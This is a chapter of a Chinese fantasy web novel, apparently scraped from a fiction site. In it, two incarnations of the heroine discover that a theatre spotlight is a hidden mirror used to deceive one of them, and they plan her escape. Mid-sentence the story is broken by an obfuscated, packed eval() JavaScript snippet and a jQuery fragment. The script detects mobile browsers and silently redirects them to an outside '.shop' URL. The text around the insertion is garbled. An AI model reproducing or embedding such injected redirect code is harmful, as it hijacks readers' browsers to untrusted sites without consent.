文趣网 > 其他小说 > 我死后,死过的我都重生了[无限流] > 22. 舞台上的镜子
    首席想了想,“镜子在你来到深红剧院的时候就不见了,每一面镜子里的画面都不一样,有些镜子有时候呈现不出画面。我记不清全部的画面,但我能描述部分,有一面镜子一直对着一个白色房间,里面有四块灰色的面板。”

    “那是守陵的结算空间…”绛晖说。

    “还有一面镜子对着医院走廊。”

    “那是阿鹫待的医院…。”绛晖补充道。

    “有一面镜子很暗,只能看到熔炉的光和管道蒸汽,有个人蹲在工作台前面,背对镜子。那个人的头发剪得很短,我看了很久才确认她也是绛晖。”

    “她也是绛晖?”

    “对。还有一面镜子一直对着一个走廊,走廊里全是镜子,镜子里面的镜子里还有镜子。那个画面我看了许久,一直没有看清过里面有什么。”

    那是镜心…首席看到的是镜中迷宫里的镜心,但她看不到镜心的脸,因为镜心已经在透明化了。

    “还有两面镜子是黑的,”首席说,“一面从头到尾都是黑的,什么都看不到。另一面有时候会亮一下,画面里是一个普通的房间,有书桌,有窗帘,有阳光。有个人坐在书桌前写东西,她看起很无忧无虑。”说到无忧无虑这个词时,首席的语气有了点起伏,她在羡慕,她自有意识时一直在这个深红剧院唱曲,唱着她

    自己都不知道什么意思的曲。

    绛晖从外套内侧的口袋里摸出江屿白给的那面小镜子。镜面上,普通世界的绛晖正坐在床边翻一本书,窗帘半拉着,阳光落在她肩膀上,她把镜子递给首席。“是这个人吗?”

    首席接过镜子,盯着画面看了很久。“是她,这面镜子就是你用来找她的?轮回塔没有媒介出不去。”

    和绛晖聊了这么久,首席也想起来许多以前的事情,但是她为什么出现在深红剧院,她一直想不起来。

    “对,她是一开始的绛晖,也是最后一个绛晖…”

    首席把镜子还给绛晖,然后走到深红剧院传送点控制台前面,抬起手,在系统面板上点了几下。她的手指在触摸屏上移动得很慢,但很准确,每一下都点在她想要的位置上。

    “你在干什么?”绛晖问。

    “我在找镜子。”首席没有回头,“深红剧院里有六面镜子,除了那个一直都是黑色的镜子,我就从来没有剩下的五面镜子里看到过我和你。我看了两年,看到过阿鹫,看到过守陵,看到过镜心,也看到过其他绛晖,看到过一开始的绛晖,但从来没有看到过我和你,从来没有。”

    绛晖的手指停在了系统面板左下角一个不明显的坐标上,她示意首席看向这个坐标。

    “听你说这些话,我突然想明白了一件事:不是镜子的问题,是祂把你放在了我看不到的那面镜子里。”

    她点开那个坐标,坐标对应的副本名称跳了出来,是深红剧院,然后她放大那个坐标。

    “这个坐标…”首席说,声音忽然变轻了,“它在舞台上,在聚光灯正上方。那居然是一面镜子,它每天都对着我,但我从来不知道它是一面镜子,它只是一直在往下打光。”

    她转过身来看着绛晖。

    “我上台的第一天,那盏灯就在我头顶。我唱了两年,它照了我两年。如果这面镜子是舞台灯,那它照出来的画面——就是我。祂让我每天看着自己唱曲,然后让我以为自己看到的是一个叫‘首席’的演员。”

    说到这,她停了很久。

    “祂在用我自己的脸来骗我自己。”

    周围气氛安静了。

    绛晖的神色变了,阿鹫被神明困在医院里两年,但神明至少让她知道自己是绛晖。而首席连知道自己是谁的这个权利都被剥夺了。

    “祂在你身上花的力气比阿鹫她们几个都大。阿鹫的囚笼是医院,守陵的囚笼是结算空间,镜心的囚笼是迷宫…而你的囚笼不只是一个剧院,还包括你自己。祂让你自己看守自己,连狱卒都不用派。”绛晖说道,语言里满是掩饰不住的气愤。

    首席低头看着自己的手,那双手的拇指还残留着画圈的习惯,指腹上有被绢花花瓣磨出来的薄茧。她看着掌心的纹路,“所以我在台上唱了两年,祂在台下看了两年。”

    “祂在看,”绛晖说,“而且祂把你放在所有镜子的正中间,你能看到其他的镜子,但唯独看不见我和你的,祂把你自己的这面镜子藏在了聚光灯里,这意味着你看到的越多,你就越不会怀疑自己。你会以为自己是一个全知全能的观察者,而不是一个被困在舞台上的囚犯。”

    首席转头在面板上又点了一下,把这面镜子的坐标放大。上面显示的画面是空的,舞台上什么都没有,光束打在空荡荡的地板上,幕布还垂着,那是她离开之后的深红剧院。她看了两秒,然后把画面关掉了。

    “祂知道我总有一天会发现这面镜子。如果我没有发现,祂会继续看我在台上唱曲。如果我发现了,祂的目的就达到了——让我知道我被骗了两年,让我知道自己每天对着镜子里的自己唱歌,还以为那只是一个叫首席的演员。”

    “所以这是一个双重陷阱,”绛晖说,“第一重是失去记忆,第二重是发现真相之后的崩溃。你发现了那面镜子的秘密,等于触发了第二重陷阱,但你并没有崩溃,不是吗?”

    首席沉默了几秒,她把那朵绢花握在手里,“我差一点就崩溃了…在看到你拿起笔记本的时候,我就已经站在那个临界点上,但你说了一件事。”

    “什么事?”

    “你说你是按顺序来的,而我在第四,排在第四。”她抬起头看着绛晖,“这句话把祂的第二重陷阱拆了。祂想让我以为自己是特别的——特别的受害者,特别的囚犯。但你说我只是排在第四个,而我的前面有三个,后面还有三个,和所有人一样。”

    绛晖看着首席手里的绢花,“阿鹫说过,祂在医院里也给她设过类似的陷阱,让她以为她是被丢下的唯一那个,但后来她在镜子里看到了守陵,看到了其他人,她就知道了,她并不是唯一。”

    “我也不是。”首席道。

    绛晖补充道,“七个绛晖,目前有四种囚笼模式。阿鹫是被困的身体,守陵是被困的愧疚,镜心是被困的牺

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17722478|208741||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    牲,你是被困的身份。其他绛晖还不知道,但可以明确的是,祂给每个人定制了一个专属囚笼,不过…祂失算了一件事。”

    “什么事。”首席问。

    “我们都在镜子里看到了彼此。祂给你装了六面镜子,想让你觉得自己是全知全能的观察者。但祂没想到你会把镜子里的画面当成信号来看。那些镜子原本是祂用来孤立你的工具,但也可以成为我们之间的联络网。”

    首席看着绛晖,拿起笔记本,“我记录了两年…从医院到结算空间,从迷宫到工厂,从回廊到那个普通房间,每个副本的画面变化规律、时间流速偏移、镜像分辨率差异,我可以看见的大多都记在了笔记本上,如果你需要,可以拿走。”

    绛晖接过笔记本,“笔记本可以给守陵,她的数据分析可以让这本笔记本在她手里发挥出最大用处。”

    首席点了点头,松开手。她把视线落在传送点控制台上其他的坐标上。

    “我还有一件事情要告诉你,”她说,“你要去的下一层,那个绛晖知道有人在看她,但她不知道是谁,她曾在工厂里刻过一行字:我知道你们在看我。但她没有刻你们是谁。”

    “所以她连“被看”这件事都理性处理了,”首席说,“把它当成一个客观变量放进自己的防御系统里,不猜测动机,不寄予期望,只是记录。”

    “这就是她,”首席接着说,“我观察了她两年,她把‘被丢下’这件事也当成一个变量,分析完之后得出结论:任何绛晖都不可信,包括她自己。”

    首席走到绛晖右边站定。灰色便服的袖口还卷在手肘上,脸上的残妆已经擦干净了,头发低低地束在脑后,她看起来不再是一个演员。

    “我现在已经和副本融合了,”她说,“阿鹫和守陵在守着镜心,但有些话只有被骗过的人能说,这是个死局。”

    “我可不这么认为,我要把每个人都带回去,包括镜心,包括你。”绛晖拿起被她放在舞台边缘的短铳,拇指推着符文轮盘,弹仓旋转六个槽位,弹仓全满。“你说,我应该怎么做才能把你带回去。”

    首席缓缓地摇了下头,“没用的,两年,我已经和这个副本沦为了一体。”

    绛晖在沉思,“首席,如果这个副本崩塌了对你有影响吗?”

    “副本崩塌…以这个副本现在情况,没有其他办法可以让它崩塌,唯一的办法就是开放副本然后玩家打通SSS结局,但这个副本已经很久没有开放了,而且如果副本开放,我会陷入虚弱状态…绛晖,想做就去做吧,我支持你。”首席没有说的是,如果副本开放,她和副本的链接就会更深,副本崩塌可以让她离开这个副本,但她会失忆,不过她并不担心,在深红剧院待了两年,当绛晖出现在她面前时,她就有了锚点,一个让她决心离开的锚点。

    首席低头看了一眼手里的绢花,花瓣边缘的纱线已经起了毛,缝线有两处松了,她把花握紧,就好像…握紧了那个锚点。

    “好,你等我,我一定会把你带出去。”绛晖深深地看了首席一眼,然后握紧短铳,走出了深红剧院。